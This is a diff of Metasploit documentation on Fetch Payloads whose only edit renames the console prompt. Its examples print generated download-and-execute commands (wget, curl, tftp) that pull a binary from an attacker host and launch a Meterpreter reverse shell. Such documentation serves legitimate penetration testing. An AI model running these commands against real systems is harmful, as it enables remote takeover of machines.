@@ -43,8 +43,8 @@ The fastest way to understand Fetch Payloads is to use them and examine the outp
4343target with the ability to connect back to us with an HTTP connection and a command execution vulnerability.
4444First, let's look at the payload in isolation:
4545``` msf
46- msf6 exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
47- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
46+ msf exploit(multi/ssh/sshexec) > use payload/cmd/linux/http/x64/meterpreter/reverse_tcp
47+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > show options
4848
4949Module options (payload/cmd/linux/http/x64/meterpreter/reverse_tcp):
5050
@@ -62,7 +62,7 @@ LPORT 4444 yes The listen port
6262
6363View the full module info with the info, or info -d command.
6464
65- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
65+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
6666```
6767
6868### Options
@@ -106,19 +106,19 @@ payload, we would see different options.
106106
107107### Generating the Fetch Payload
108108``` msf
109- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
109+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_COMMAND WGET
110110FETCH_COMMAND => WGET
111- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
111+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVHOST 10.5.135.201
112112FETCH_SRVHOST => 10.5.135.201
113- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
113+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set FETCH_SRVPORT 8000
114114FETCH_SRVPORT => 8000
115- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
115+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LHOST 10.5.135.201
116116LHOST => 10.5.135.201
117- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
117+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set LPORT 4567
118118LPORT => 4567
119- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
119+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
120120wget -qO ./YXeSdwsoEfOH http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YXeSdwsoEfOH; ./YXeSdwsoEfOH &
121- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
121+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
122122```
123123
124124You can see the fetch payload generated:
@@ -130,7 +130,7 @@ When you start the `Fetch Handler`, it starts both the server hosting the binary
130130served payload. With ` verbose ` set to ` true ` , you can see both the Fetch Handler and the Served Payload Handler are
131131started:
132132``` msf
133- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
133+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
134134[*] wget -qO ./YBybOrAmkV http://10.5.135.201:8000/3cP1jDrJ3uWM1WrsRx3HTw; chmod +x ./YBybOrAmkV; ./YBybOrAmkV &
135135[*] Payload Handler Started as Job 0
136136[*] Fetch Handler listening on 10.5.135.201:8000
@@ -142,7 +142,7 @@ msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
142142The Fetch Handler is tracked with the Served Payload Handler, so you will only see the Served Payload Handler under
143143` Jobs ` , even though the Fetch Handler is listening:
144144``` msf
145- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
145+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -l
146146
147147Jobs
148148====
@@ -151,21 +151,21 @@ Jobs
151151 -- ---- ------- ------------
152152 0 Exploit: multi/handler cmd/linux/http/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4567
153153
154- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
154+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
155155[*] exec: netstat -ant | grep 8000
156156
157157tcp 0 0 10.5.135.201:8000 0.0.0.0:* LISTEN
158158
159159```
160160Killing the Served Payload handler will kill the Fetch Handler as well:
161161``` msf
162- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
162+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > jobs -k 0
163163[*] Stopping the following job(s): 0
164164[*] Stopping job 0
165- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
165+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > netstat -ant | grep 8000
166166[*] exec: netstat -ant | grep 8000
167167
168- msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
168+ msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
169169```
170170
171171## Using Fetch Payloads on the Fly
@@ -183,7 +183,7 @@ The following example shows both the original command to download and execute th
183183original fetch command directly to the shell. Since this requires two downloads, it is less stealthy, but the
184184command to run on the target is significantly shorter.
185185``` msf
186- msf6 payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
186+ msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > to_handler
187187[*] Command served: curl -so %TEMP%\DpRdBIfeyax.exe http://10.5.135.117:8080/zw3LGTh9FtaLJ4bCQRAWdw & start /B %TEMP%\DpRdBIfeyax.exe
188188
189189[*] Command to run on remote host: curl -s http://10.5.135.117:8080/test|cmd
@@ -290,7 +290,7 @@ Then, you can set `FetchListenerBindPort` to 3069 and get the callback correctly
2902904 ) Because tftp is a udp-based protocol and because od the implementation of the server within Framework, each time you
291291start a tftp fetch handler, a new service will start:
292292``` msf
293- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
293+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
294294
295295Jobs
296296====
@@ -299,16 +299,16 @@ Jobs
299299 -- ---- ------- ------------
300300 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
301301
302- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
302+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 4445
303303LPORT => 4445
304- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
304+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
305305
306306[*] Command to run on remote host: curl -so plEYxIdBQna.exe tftp://10.5.135.201:8080/test1 & start /B plEYxIdBQna.exe
307307[*] Payload Handler Started as Job 4
308308
309309[*] starting tftpserver on 10.5.135.201:8080
310310[*] Started reverse TCP handler on 10.5.135.201:4445
311- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
311+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > jobs
312312
313313Jobs
314314====
@@ -318,23 +318,23 @@ Jobs
318318 2 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4444
319319 4 Exploit: multi/handler cmd/windows/tftp/x64/meterpreter/reverse_tcp tcp://10.5.135.201:4445
320320
321- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
321+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
322322[*] exec: netstat -an | grep 8080
323323
324324udp 0 0 10.5.135.201:8080 0.0.0.0:*
325325udp 0 0 10.5.135.201:8080 0.0.0.0:*
326- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
326+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set FETCH_URIPATH test4
327327FETCH_URIPATH => test4
328- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
328+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > set LPORT 8547
329329LPORT => 8547
330- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
330+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > to_handler
331331
332332[*] Command to run on remote host: curl -so DOjmRoCOSMn.exe tftp://10.5.135.201:8080/test4 & start /B DOjmRoCOSMn.exe
333333[*] Payload Handler Started as Job 5
334334
335335[*] starting tftpserver on 10.5.135.201:8080
336336[*] Started reverse TCP handler on 10.5.135.201:8547
337- msf6 payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
337+ msf payload(cmd/windows/tftp/x64/meterpreter/reverse_tcp) > netstat -an | grep 8080
338338[*] exec: netstat -an | grep 8080
339339
340340udp 0 0 10.5.135.201:8080 0.0.0.0:*
0 commit comments